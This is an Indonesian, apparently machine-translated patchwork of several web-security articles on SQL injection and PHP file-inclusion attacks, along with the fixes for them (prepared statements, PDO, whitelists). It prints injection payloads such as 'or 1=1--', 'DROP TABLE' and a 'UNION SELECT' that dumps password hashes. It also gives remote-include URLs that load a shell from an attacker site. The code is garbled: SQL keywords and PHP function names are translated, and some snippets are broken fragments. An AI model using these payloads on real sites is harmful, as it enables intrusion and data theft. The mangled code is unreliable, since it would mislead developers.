injeksi SQL. Memerangi injeksi SQL dengan kondisi injeksi PHP Php dengan menambahkan d get




Meskipun masih jelas bahwa seorang penyerang harus memiliki setidaknya beberapa pengetahuan tentang struktur database untuk melakukan serangan yang berhasil, seringkali sangat mudah untuk mendapatkan informasi ini. Misalnya, jika database adalah bagian dari sumber terbuka atau paket perangkat lunak lain yang tersedia untuk umum dengan penginstalan default, informasi ini benar-benar bersifat publik dan tersedia. Data ini juga dapat diperoleh dari proyek tertutup, meskipun dikodekan, rumit, atau dikompilasi, dan bahkan dari kode Anda sendiri melalui tampilan pesan kesalahan. Metode lain termasuk menggunakan nama tabel dan kolom yang umum (mudah ditebak). Misalnya form login yang menggunakan tabel “users” dengan nama kolom “id”, “username” dan “password”.

Sebagian besar serangan yang berhasil bergantung pada kode yang tidak ditulis dengan mempertimbangkan keamanan yang tepat. Jangan memercayai masukan apa pun, terutama jika dari sisi klien, meskipun itu berupa daftar di formulir, bidang tersembunyi, atau cookie. Contoh pertama yang diberikan menunjukkan bagaimana permintaan tersebut dapat menyebabkan bencana.

  • Jangan pernah terhubung ke database menggunakan pemilik database atau akun pengguna super. Selalu coba gunakan pengguna yang dibuat khusus dengan hak paling terbatas.
  • gunakan ekspresi yang disiapkan dengan variabel terikat. Kemampuan ini disediakan oleh ekstensi PDO, MySQLi, dan pustaka lainnya.
  • Selalu periksa data yang dimasukkan terhadap jenis yang diharapkan. PHP memiliki beragam fungsi untuk validasi data, mulai dari fungsi yang paling sederhana untuk memanipulasi variabel hingga fungsi untuk menentukan jenis karakter (seperti is_numeric() Dan ctype_digit() masing-masing) dan diakhiri dengan ekspresi reguler yang kompatibel dengan Perl.
  • Jika aplikasi sedang menunggu input numerik, terapkan fungsi tersebut ctype_digit() untuk memvalidasi data yang dimasukkan, atau memaksa tipenya dengan settype(), atau cukup gunakan representasi numerik dengan fungsi tersebut sprintf().

    Beispiel #5 Implementasi paginasi yang lebih aman

    settype($offset , "bilangan bulat" );
    $kueri = "PILIH id, nama DARI produk PESAN DENGAN nama LIMIT 20 OFFSET$offset ;" ;

    // perhatikan format %d, menggunakan %s tidak ada gunanya
    $kueri = sprintf( "PILIH id, nama DARI produk ORDER BY name LIMIT 20 OFFSET %d;",
    $penggantian);

    ?>

  • Jika variabel terikat tidak didukung pada level database, maka selalu escape data non-numerik apa pun yang digunakan dalam kueri database menggunakan fungsi escape khusus khusus untuk database yang Anda gunakan (misalnya, mysql_real_escape_string(), sqlite_escape_string() dll.). Fungsi umum seperti addlashes() hanya berguna dalam kasus tertentu (mis. MySQL dalam penyandian byte tunggal dengan NO_BACKSLASH_ESCAPES dinonaktifkan), jadi sebaiknya hindari menggunakannya.
  • Jangan tampilkan informasi apa pun tentang database, terutama tentang strukturnya. Baca juga bagian dokumentasi yang relevan: "Pesan kesalahan" dan "Fungsi penanganan dan pencatatan kesalahan".
  • Anda dapat menggunakan prosedur tersimpan dan kursor yang telah ditentukan sebelumnya untuk mengabstraksi data tanpa memberi pengguna akses langsung ke data dan tampilan, tetapi solusi ini memiliki tantangannya sendiri.

Selain semua hal di atas, Anda dapat mencatat kueri di skrip Anda atau di tingkat basis data jika mendukungnya. Jelas, logging tidak dapat mencegah kerusakan, tetapi dapat membantu melacak aplikasi yang disusupi. File log itu sendiri tidak berguna, tetapi informasi yang dikandungnya. Selain itu, dalam banyak kasus berguna untuk mencatat semua detail yang mungkin.

pemain baru 27 Januari 2011 pukul 11:37

Berurusan dengan SQL Injection dengan PHP

  • Ruang kayu *

Injeksi SQL adalah jenis serangan yang paling berbahaya, karena berada di balik kasus peretasan yang tak terhitung jumlahnya yang selamat dari situs web dan portal perusahaan, dan hanya beranda pribadi. Sebenarnya cukup mudah untuk melindungi proyek Anda - untuk melakukan ini, Anda harus terlebih dahulu memahami apa inti dari masalah ini dan membuat beberapa perubahan pada kode untuk melindunginya.

Apa itu Injeksi SQL

Injeksi SQL mengacu pada tindakan yang perlu Anda lakukan untuk mengeksekusi kueri basis data Anda sendiri tanpa sepengetahuan Anda. Paling sering ini terjadi ketika Anda menawarkan pengguna untuk mengirim beberapa informasi ke server, tetapi alih-alih informasi yang diinginkan, penyerang mengirimkan permintaannya, yang, secara tidak sengaja, dijalankan oleh server. Dengan menggunakan permintaan seperti itu, penyerang tidak hanya dapat memperoleh informasi terlarang dari database, tetapi juga, dalam kondisi tertentu, membuat perubahan padanya, serta menjalankan perintah sistem.

Contoh Injeksi SQL

Penyerang dapat mengirimkan permintaannya tidak hanya dengan memasukkannya ke kolom input informasi (menggunakan $_POST), ia juga dapat mengganti variabel $_GET miliknya di bilah alamat, atau mengubah $_COOKIE miliknya secara manual. Oleh karena itu, kehati-hatian harus dilakukan saat bekerja dengan kumpulan data global ini.

Jika Anda memiliki formulir di halaman untuk memasukkan informasi tertentu, penyerang dapat menggunakan bidangnya untuk tujuan mereka sendiri. Alih-alih string yang diharapkan (nama, kata sandi, dll.), Dia akan memasukkan permintaannya sendiri di bidang seperti itu.

Sebagian besar injeksi SQL ini terlihat seperti ini:

Asd" atau 1=1--

Katakanlah kita memiliki formulir login pengguna. Jika kita memasukkan kode seperti itu di bidang login, kita dapat menggunakan injeksi SQL untuk mendapatkan akses bahkan tanpa pemeriksaan yang tepat. Bagaimana itu bekerja? Pertimbangkan permintaan seperti apa yang akan kami terima sebagai hasil dari tindakan kami:

SELECT * FROM users WHERE username = "asd" or 1=1--" and password = "asd"

Jadi, seperti yang Anda lihat dari contoh, kode kita akan berhasil dieksekusi. Dan karena ekspresi 1=1 akan selalu mengembalikan true, kita dijamin mendapatkan akses.

Anda mungkin bertanya-tanya mengapa kita membutuhkan tanda hubung ganda (--). Tanda hubung ganda di akhir baris ini memberi tahu server SQL untuk mengabaikan kueri lainnya. Jika Anda ingin menulis injeksi bukan untuk SQL Server, maka dalam hal ini Anda perlu mengganti tanda hubung ganda dengan apostrof tunggal.

Harap perhatikan bahwa contoh di atas hanyalah opsi yang paling standar, tetapi jauh dari satu-satunya. Jumlah mereka sungguh menakjubkan, dan itu semua tergantung pada cara kerja kepala penyerang.

Contoh beberapa suntikan yang lebih umum:

") atau ("1"="1
"atau "1"="1
" atau "1"="1
Atau 1=1--
" atau 1=1--
" atau 1=1--

Juga sangat umum bagi penyerang untuk menggunakan bilah alamat (URL) untuk serangan mereka. Cara ini, seperti cara sebelumnya, tidak kalah berbahayanya. Saat server menggunakan PHP dan MySQL (sejauh ini kombinasi yang paling populer), URL ke skrip biasanya terlihat seperti ini:

http://somesite.com/login_script.php?id=1

Dengan menambahkan sedikit SQL ke baris tersebut, Anda dapat melakukan hal-hal buruk:

http://somesite.com/login_script.php?id=1'; Masuk DROP TABLE; #

Dalam hal ini, tanda digunakan # alih-alih tanda hubung ganda, karena memberi tahu SQL Server untuk mengabaikan semua kueri berikutnya yang muncul setelah kami. Dan hal yang paling berbahaya (jika Anda belum menyadarinya), kami baru saja memberi tahu server untuk menghapus tanda dengan pengguna. Contoh ini menunjukkan dengan baik betapa berbahayanya injeksi SQL.

Apa yang perlu Anda lakukan untuk melindungi skrip Anda dari injeksi SQL

Kita sudah mengetahui bahwa kerentanan injeksi SQL terjadi ketika informasi dari pengguna masuk ke kueri basis data tanpa pemrosesan yang tepat. Jadi langkah selanjutnya adalah menulis skrip yang aman.

Untungnya, bahaya ini sudah diketahui sejak lama. PHP bahkan memiliki fungsi khusus (sejak versi 4.3.0) yang melawan jenis serangan ini - mysql_real_escape_string.

mysql_real_escape_string membuat string aman untuk digunakan dalam kueri basis data dengan keluar dari semua karakter yang berpotensi berbahaya. Biasanya, karakter berurutan seperti itu adalah apostrof tunggal ("), yang setelah menggunakan fungsi ini akan di-escape (\").

Untuk melindungi dari injeksi SQL, semua parameter eksternal ($_GET, $_POST, $_COOKIE) harus diproses menggunakan mysql_real_escape_string(), dan dalam kueri itu sendiri tempatkan mereka dalam satu apostrof. Jika Anda mengikuti aturan sederhana ini, tindakan penyerang akan mengarah pada pembentukan kueri aman, karena semua teks injeksi SQLnya sekarang ada di dalam apostrof.

Mari kita lihat apa yang sebenarnya dilakukan server dengan pemrosesan ini:

Injeksi SQL (string yang dimasukkan penyerang di kolom "Login" alih-alih loginnya):

Sql" atau 1=1--

$nama = mysql_real_escape_string($_POST["username"]);
$res = mysql_query("SELECT * FROM users WHERE username = "".$name."" and password = "asd"");

SELECT * FROM users WHERE username = "sql\" or 1=1--" and password = "asd"

Artinya, dengan permintaan seperti itu, alih-alih tindakan berbahaya, kami mencoba memilih data pengguna yang memiliki nama pengguna yang agak aneh (sql\"atau 1=1-).

Anda dapat melangkah lebih jauh dan menulis fungsionalitas yang secara otomatis akan memproses array $_GET, $_POST dan $_COOKIE dengan tepat, tetapi semuanya tergantung pada keinginan Anda. Satu-satunya hal yang perlu diingat adalah Anda perlu melindungi semua tempat di mana data dari pengguna ditransfer ke database.

Dasar-dasar injeksi PHP untuk pemula.​


Injeksi PHP(Injeksi PHP bahasa Inggris) - tentang salah satu metode meretas situs web yang berjalan di PHP adalah mengeksekusi kode asing di sisi server. Fungsi yang berpotensi berbahaya adalah:
eval(),
preg_replace() (dengan pengubah "e"),
membutuhkan_sekali(),
sertakan_sekali(),
termasuk(),
memerlukan(),
buat_fungsi().

Injeksi PHP menjadi mungkin jika parameter input diterima dan digunakan tanpa validasi.

Klik untuk mengungkapkan...

(c)Wiki


Dasar.​

php-injection- ini adalah bentuk penyerangan terhadap situs, ketika penyerang menyuntikkan kode php miliknya ke dalam aplikasi php yang diserang.
Dengan injeksi yang berhasil, penyerang dapat mengeksekusi kode PHP sewenang-wenang (berpotensi berbahaya) di server target. Misalnya, isi shell. Tapi pertama-tama, mari kunyah secara mendetail bagaimana ini terjadi.

Misalnya:
Bayangkan kita memiliki situs web yang ditulis dalam PHP.
Bayangkan juga bahwa situs tersebut menggunakan perintah halaman=halaman.html untuk menampilkan halaman yang diminta.
Kode akan terlihat seperti ini:

$file = $_GET["halaman"]; // halaman yang ditampilkan
termasuk($berkas);
?>

Artinya, semua yang ditampilkan di halaman akan disematkan dalam kode php halaman ini. Oleh karena itu, penyerang dapat melakukan sesuatu seperti:

http : //www.attacked_site.com/index.php?page=http://www.attacking_server.com/malicious_script.txt?

Jika kita melihat apa yang terjadi setelah penyertaan dijalankan, kita akan diberikan kode berikut, yang dijalankan di server target:

$berkas= "http://www.attacker_server.com/malicious_script.txt?"; //$_GET["halaman"];
termasuk($berkas); //$file adalah skrip yang disuntikkan oleh penyerang
?>

Kami melihat bahwa penyerang berhasil melakukan serangan di server target.

Lagi:
Jadi, mengapa penyerang bisa melakukan injeksi PHP?
Semua karena fungsinya termasuk() memungkinkan Anda menjalankan file jarak jauh.

Mengapa skrip ditentukan dalam contoh dengan ekstensi *.txt , tapi tidak *.php ?
Jawabannya sederhana, jika skrip memiliki format *.php , itu akan berjalan di server penyerang, bukan di sistem target.

Simbol " ? " di jalur ke skrip yang disuntikkan untuk menghapus apa pun di dalam fungsi termasuk() pada server tujuan.
Contoh:

$file = $_GET["halaman"];
include($file . ".php" );
?>

Skrip ini menambahkan ekstensi *.php untuk sesuatu yang disebut oleh perintah termasuk() .
Itu.

http : //www.attacker_server.com/malicious_script.txt

Berubah menjadi

http : //www.attacker_server.com/malicious_script.txt.php

Skrip tidak akan berjalan dengan nama ini (tidak ada file di server penyerang /malicious_script.txt.php)
Itu sebabnya kami menambahkan "?" ke ujung jalur ke skrip berbahaya:

http : //www.attacker_server.com/malicious_script.txt?.php

Tapi itu tetap bisa dieksekusi.

Melakukan injeksi PHP melalui kerentanan fungsi include().​

RFI - Injeksi PHP Injeksi Jarak Jauh.​


Kemungkinan RFI adalah bug yang cukup umum di engine.
Anda dapat menemukannya seperti ini:
Katakanlah kita secara tidak sengaja menemukan halaman yang berakhir seperti ini di bilah alamat browser:

/indeks. php? halaman = utama

Kami menggantinya utama makna delusi, misalnya upyachka

/indeks. php? halaman = upyachka

Sebagai tanggapan, kami mendapatkan kesalahan:

Peringatan : main (upyachka .php ): gagal membuka aliran : Tidak ada file atau direktori seperti itu di / home / user / www //page.php on line 3

Peringatan : main (upyachka .php ): gagal membuka aliran : Tidak ada file atau direktori seperti itu di / home / user / www / page . php baris 3

Peringatan : main(): Gagal membuka "upyachka.php" untuk dimasukkan (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") di / home / user / www / halaman . php baris 3

Ini menunjukkan kepada kita bahwa inklusi layak dilakukan.
Kami mencoba menggantinya upyachka situs dengan jalur ke shell (ekstensi file shell tidak boleh ditentukan, atau tentukan seperti yang dijelaskan di atas)

http : //www.attacked_server.com/index.php?file=http://www.attacker_site.com/shell

Dengan demikian, sebuah shell diperoleh. Sekarang Anda perlu memberi tahu admin situs tentang kerentanan tersebut sehingga dia dapat memperbaikinya, dan orang jahat tidak memanfaatkan bug tersebut.

LFI - penyertaan lokal untuk injeksi PHP.​


Bayangkan kita menemukan situs rentan yang sama

/indeks. php? file=utama

Dengan kode

..
Sertakan("folder/ $halaman .htm" );

?>

Ini sudah menjadi inklusi lokal. Dalam situasi ini, hanya daftar file yang dimungkinkan:

/indeks. php? halaman =../ indeks . php

Dalam kasus berikut, kodenya terlihat seperti ini:

..
include("$dir1/folder/halaman.php");

?>

Dalam hal ini, Anda dapat menulis path ke shell sebagai berikut:
Buat folder map di situs tempat penyimpanan shell, masukkan shell ke folder ini:

http : //www.attacker_site.com/folder/shell.php

Injeksi dalam hal ini akan terlihat seperti ini:

indeks. php? dir1=http: //www.attacker_site.com/

Metode perlindungan


Pertimbangkan skripnya:

...

termasuk $modul . ".php" ;
...
?>

Skrip ini rentan karena isinya variabel $modul baru saja ditambahkan *.php dan file diluncurkan di jalur yang diterima.

Ada beberapa cara untuk melindungi dari serangan semacam itu:​


-Periksa apakah variabel $module berisi karakter asing:

...
$modul = $_GET [ "modul" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
termasuk $modul . ".php" ;
...
?>

-Periksa apakah $module disetel ke salah satu nilai yang diizinkan:
"/" , "", , $halaman ); // Kemungkinan beralih ke direktori lain diblokir.
jika (file_exists("files/ $page.htm "))
{
Sertakan("file/$halaman.htm" );
}
Kalau tidak
{
gema
"kesalahan" ;
}

?>

PHP juga menyediakan opsi untuk menonaktifkan penggunaan file jarak jauh dengan mengubah opsi allow_url_fopen menjadi Off di file konfigurasi php.ini.

Kerentanan yang dijelaskan menimbulkan bahaya tinggi bagi situs dan penulis skrip PHP tidak boleh melupakannya.

Saat menulis, bahan digunakan dari
wikipedia,
dari forum asing security-sh3ll (spl0it),
dari forum Antichat (Beruang Hijau).
Terima kasih khusus kepada Burt Dan f02 untuk bantuan,
dukungan dan kritik yang baik).

Kami berharap Anda sukses dalam perjalanannya. Hasil dari bagian Anda akan dipublikasikan nanti (ikuti berita di jejaring sosial), dan semua yang lulus di masa mendatang akan dikirim mengundang untuk mendaftar di situs.

Seperti, bagikan dengan teman dan kolega, posting ulang di jejaring sosial.

Semua programmer telah membaca, atau setidaknya mendengar, metode untuk merusak keamanan sebuah situs web. Atau bahkan menghadapi masalah ini. Di sisi lain, fantasi mereka yang ingin merusak situs tidak ada habisnya, jadi semua kemacetan harus dilindungi dengan baik. Itu sebabnya saya ingin memulai serangkaian artikel pendek yang akan memperkenalkan metode dan trik dasar peretasan situs web.

Pada artikel pertama, saya ingin menjelaskan dan menjelaskan beberapa metode umum untuk meretas salah satu bagian situs yang paling rentan - formulir. Saya akan menguraikan cara menggunakan metode ini dan cara mencegah serangan, serta berbicara tentang pengujian keamanan.

Injeksi SQL

Injeksi SQL adalah teknik di mana penyerang menyuntikkan perintah SQL ke kolom input pada halaman web. Imput ini bisa apa saja - bidang teks dalam formulir, parameter _GET dan _POST, cookie, dll. Metode ini sangat efektif sebelum munculnya kerangka kerja di dunia PHP. Tapi peretasan ini masih bisa berbahaya jika Anda tidak menggunakan ORM atau ekstensi objek data lainnya. Mengapa? Karena cara parameter diteruskan ke kueri SQL.

Suntikan "buta".

Mari kita mulai dengan contoh klasik pernyataan SQL yang mengembalikan pengguna dengan hash nama pengguna dan kata sandi mereka (halaman login)

Contoh 1

mysql_query("PILIH id, login DARI pengguna WHERE login = ? dan kata sandi = hash(?)");

Saya telah memasukkan tanda tanya ke dalam ekspresi karena berbagai variasi dari solusi ini. Opsi pertama, menurut saya, adalah yang paling rentan:

Contoh 1a

Mysql_query("PILIH id, login DARI pengguna WHERE login = "" . $login . "" and password = hash("" . $password . "")");

Dalam hal ini, kode tidak memeriksa input yang tidak valid. Nilai diteruskan langsung dari formulir input ke kueri SQL. Paling-paling, pengguna akan memasukkan nama pengguna dan kata sandi mereka di sini. Apa yang akan terjadi dalam kasus terburuk? Mari kita coba meretas formulir ini. Ini dapat dilakukan dengan mengirimkan data "siap". Mari kita coba masuk sebagai pengguna pertama dari database, dan biasanya ini adalah akun admin. Untuk melakukan ini, kami akan memberikan string khusus alih-alih memasukkan login:

"ATAU1=1; --

Kutipan pertama bisa tunggal, jadi satu upaya peretasan mungkin tidak cukup. Ada titik koma dan dua tanda hubung di bagian akhir sehingga semuanya setelah itu berubah menjadi komentar. Akibatnya, kueri SQL berikut akan dieksekusi:

PILIH id, login DARI pengguna WHERE login = “;” ATAU 1=1 BATAS 0,1; - dan kata sandi = hash(“;Beberapa kata sandi”)

Ini akan mengembalikan pengguna pertama dari database dan mungkin masuk sebagai pengguna itu dalam aplikasi. Langkah yang baik adalah menambahkan LIMIT untuk masuk sebagai setiap pengguna individu. Ini adalah satu-satunya hal yang diperlukan untuk mengulangi setiap nilai.

Cara yang lebih serius

Pada contoh sebelumnya, semuanya tidak begitu menakutkan. Fitur di panel kontrol admin selalu terbatas dan butuh banyak pekerjaan untuk merusak situs. Tetapi serangan melalui injeksi SQL dapat menyebabkan lebih banyak kerusakan pada sistem. Pikirkan tentang berapa banyak aplikasi yang dibuat dengan tabel "pengguna" utama, dan apa yang terjadi jika penyerang memasukkan kode tersebut dalam bentuk yang tidak aman:

Login favorit saya"; pengguna DROP TABLE; --

Tabel "pengguna" akan dihapus. Ini adalah salah satu alasan untuk membuat backup database lebih sering.

_GET parameter

Semua parameter yang diisi melalui formulir dikirim ke server menggunakan salah satu dari dua metode - GET atau POST. Parameter yang paling umum dilewatkan melalui GET adalah id. Ini adalah salah satu tempat paling rentan terhadap serangan, apa pun jenis url yang Anda gunakan - ` http://example.com/ pengguna/?id=1`, atau ` http://example.com/ pengguna/1`, atau ` http://......./.../ pos/35 `.

Apa yang terjadi jika kita mengganti kode berikut di url?

http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Mungkin, permintaan seperti itu akan mengembalikan login pengguna dan ... hash kata sandinya. Bagian pertama kueri `AND 1=0` mengubah apa pun yang muncul sebelumnya menjadi false, jadi tidak ada record yang akan diambil. Dan permintaan bagian kedua akan mengembalikan data berupa data yang telah disiapkan. Dan karena parameter pertama adalah id, selanjutnya adalah login pengguna dan hash dari kata sandinya, dan beberapa parameter lainnya. Ada banyak program yang menggunakan kekerasan untuk mendekode kata sandi seperti pada contoh. Dan karena pengguna dapat menggunakan kata sandi yang sama untuk layanan yang berbeda, mereka juga dapat diakses.

Dan inilah yang membuat penasaran: sangat tidak mungkin untuk bertahan dari serangan seperti itu dengan metode seperti `mysql_real_escape_string`, `addslashes`, dll. e. Pada prinsipnya, tidak ada cara untuk menghindari serangan seperti itu, jadi jika parameternya akan diteruskan seperti ini:

"PILIH id, login, email, param1 DARI pengguna WHERE id = " . addlashes($_GET["id"]);"

masalah tidak akan hilang.

Melarikan diri dari karakter dalam string

Ketika saya masih baru dalam pemrograman, saya mengalami kesulitan bekerja dengan penyandian. Saya tidak mengerti apa perbedaan di antara mereka, mengapa menggunakan UTF-8 saat Anda membutuhkan UTF-16, mengapa database selalu menyetel pengkodean ke latin1. Ketika saya akhirnya mulai memahami semua ini, saya menemukan bahwa akan ada lebih sedikit masalah jika saya menyimpan semuanya dalam satu standar pengkodean. Saat memilah-milah semua ini, saya juga memperhatikan masalah keamanan yang muncul saat mengonversi dari satu pengkodean ke pengkodean lainnya.

Masalah yang dijelaskan di sebagian besar contoh sebelumnya dapat dihindari dengan menggunakan tanda kutip tunggal dalam kueri. Jika Anda menggunakan addlashes() , serangan injeksi SQL berdasarkan tanda kutip tunggal yang diloloskan oleh garis miring terbalik akan gagal. Tetapi serangan seperti itu dapat berhasil jika Anda hanya mengganti karakter dengan kode 0xbf27 , addlashes() akan mengonversinya menjadi karakter dengan kode 0xbf5c27 - dan ini adalah karakter kutipan tunggal yang benar-benar valid. Dengan kata lain, `뼧` akan diteruskan melalui addlashes() , dan kemudian pemetaan MySQL akan mengubahnya menjadi dua karakter 0xbf (¿) dan 0x27 (').

"SELECT * FROM users WHERE login = ""; .addslashes($_GET["login"]) . ";"";

Contoh ini dapat diretas dengan mengirimkan 뼧 atau 1=1; -- di bidang login dalam formulir. Mesin SQL akan menghasilkan kueri terakhir seperti ini:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

Dan akan mengembalikan pengguna pertama dari database.

Perlindungan

Bagaimana cara melindungi aplikasi? Ada banyak cara yang penggunaannya tidak akan membuat aplikasi benar-benar kebal, tetapi setidaknya meningkatkan keamanannya.

Menggunakan mysql_real_escape_string

Fungsi addlashes() tidak dapat diandalkan, karena tidak mencakup banyak peretasan. mysql_real_escape_string tidak memiliki masalah seperti itu

Menggunakan MySQLi

Ekstensi MySQL ini dapat bekerja dengan parameter terkait:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $nama, $id); $stmt->eksekusi();

Menggunakan PDO

Substitusi parameter jauh:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("MASUKKAN KE REGISTRY (nama, nilai) NILAI (:nama, :nilai)"); $stmt->bindParam(":nama", $nama); $stmt->bindParam(":nilai", $nilai); // sisipkan satu baris $nama = "satu"; $nilai = 1; $stmt->eksekusi();

Cara singkat:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE orang SET name = :new_name WHERE id = :id"); $stmt->eksekusi(array("nama_baru" => $nama, "id" => $id));

Menggunakan ORM

Gunakan ORM dan PDO dan ikat (gunakan ikat) parameter. Hindari SQL dalam kode, jika Anda melihat SQL dalam kode, berarti ada yang salah dengannya.

ORM akan menjaga keamanan di kemacetan dalam kode dan validasi parameter.

kesimpulan

Tujuan dari seri ini bukan untuk memberikan panduan lengkap untuk meretas situs web, tetapi untuk memastikan keamanan aplikasi dan pencegahan serangan dari sumber mana pun. Saya mencoba menulis artikel ini tidak hanya untuk pemrogram - mereka harus waspada terhadap ancaman apa pun dalam kode dan tahu cara mencegahnya, tetapi juga untuk insinyur berkualitas - karena tugas mereka adalah melacak dan melaporkan momen seperti itu. .